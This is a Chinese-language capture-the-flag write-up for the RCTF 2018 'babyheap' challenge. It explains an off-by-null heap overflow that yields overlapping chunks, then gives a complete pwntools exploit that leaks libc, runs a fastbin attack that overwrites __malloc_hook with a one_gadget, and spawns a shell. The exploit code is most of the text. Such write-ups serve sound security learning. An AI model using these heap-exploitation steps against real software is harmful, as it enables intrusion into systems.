RCTF 2018 babyheap writeup

这是一道空字节溢出 (off by null) 的堆题,通过溢出空字节可以控制到堆块的pre_inuse位,从而造成块堆叠chunk overlap

程序分析

在自定义的my_read函数中,如果输入的字符数等于size,那么会使字符串的下一个字节被写入空字节NULL,从而导致null byte off by one(空字节溢出)

构造chunk overlapping 块堆叠

64位下,如果申请的size是8字节对齐而非16字节对齐时,glibc的内存管理会使用内存复用,即下一个chunk的pre_size域同时作为当前chunk的数据域的最后八字节。因此我们可以通过内存复用和空字节溢出,覆盖到下一个chunk的size域,将pre_inuse置零,pre_inuse置零后,下一个chunk的pre_size域也会生效,因此,可以通过控制pre_size域伪造chunk,经过巧妙的构造造成堆块的堆叠。

完整EXP

具体构造看以下EXP,关键步骤已加注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#-*-coding:utf8-*-
from pwn import *
p = process('./babyheap')
elf = ELF('./babyheap')
libc = elf.libc #/lib/x86_64-linux-gnu/libc-2.23.so

def Alloc(size, content):
p.sendlineafter('choice: ','1')
p.sendlineafter('please input chunk size: ',str(size))
p.sendlineafter('input chunk content: ',content)

def Show(index):
p.sendlineafter('choice: ','2')
p.sendlineafter('please input chunk index: ',str(index))

def Delete(index):
p.sendlineafter('choice: ','3')
p.sendlineafter('please input chunk index: ',str(index))

def leak_libc():
Alloc(0x90, 'unsorted bin') #idx0 size=0xa0
Alloc(0x18, 'fast bin') #idx1 size=0x20
Alloc(0xf0, 'unsorted bin') #idx2
Alloc(0x10,'aaaa') #idx3

Delete(1)
Delete(0)
#溢出一个空字节覆盖下一个chunk的pre_inuse域,同时控制了pre_size域。
#从而1伪造idx2的前一个chunk为size=0xc0的空闲unsorted bin的chunk
#0xc0=前两个chunk的大小的和
Alloc(0x18, 'a'*0x10 + p64(0xc0)) #idx0
#合并成一个大的unsorted bin的chunk
Delete(2)

#切割unsorted bin中的大chunk,剩下部分成为unsorted bin中的chunk
#使idx0指针指向的位置存放着main_arena中的地址
Alloc(0x90, 'a'*0x90) #idx1
Show(0)
p.recvuntil('content: ')
leak_addr = u64(p.recvn(6).ljust(8, 'x00'))
offset = 0x3c4b78
libc_address = leak_addr - offset
return libc_address

def fastbin_attack(one_gadget):
Delete(1)
#将idx0伪造成0x70大小的chunk
Alloc(0x100, 'a'*0x90+p64(0)+p64(0x71)) #idx1
#将idx0释放进fastbin中
Delete(0)
Delete(1)

fake_chunk = libc.address + 0x3c4af5 -0x8

#覆盖fastbin中chunk->fd指针为malloc hook 附近的 fake_chunk
Alloc(0x100, 'a'*0x90 +p64(0) + p64(0x71) + p64(fake_chunk)) #idx0
Alloc(0x60,'aaaa')
#分配到malloc_hook附近的fake_chunk,覆盖malloc_hook为one_gadget
Alloc(0x60,'a'*0x13 + p64(one_gadget))

#触发one_gadget,get shell
p.sendlineafter('choice: ','1')
p.sendlineafter('please input chunk size: ','256')

if __name__ == '__main__':
libc.address = leak_libc()
log.success('libc address : ' + hex(libc.address))
log.success('malloc hook : ' + hex(libc.symbols['__malloc_hook']))
#one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
one_gadget = libc.address + 0x4526a
fastbin_attack(one_gadget)
p.interactive()
0%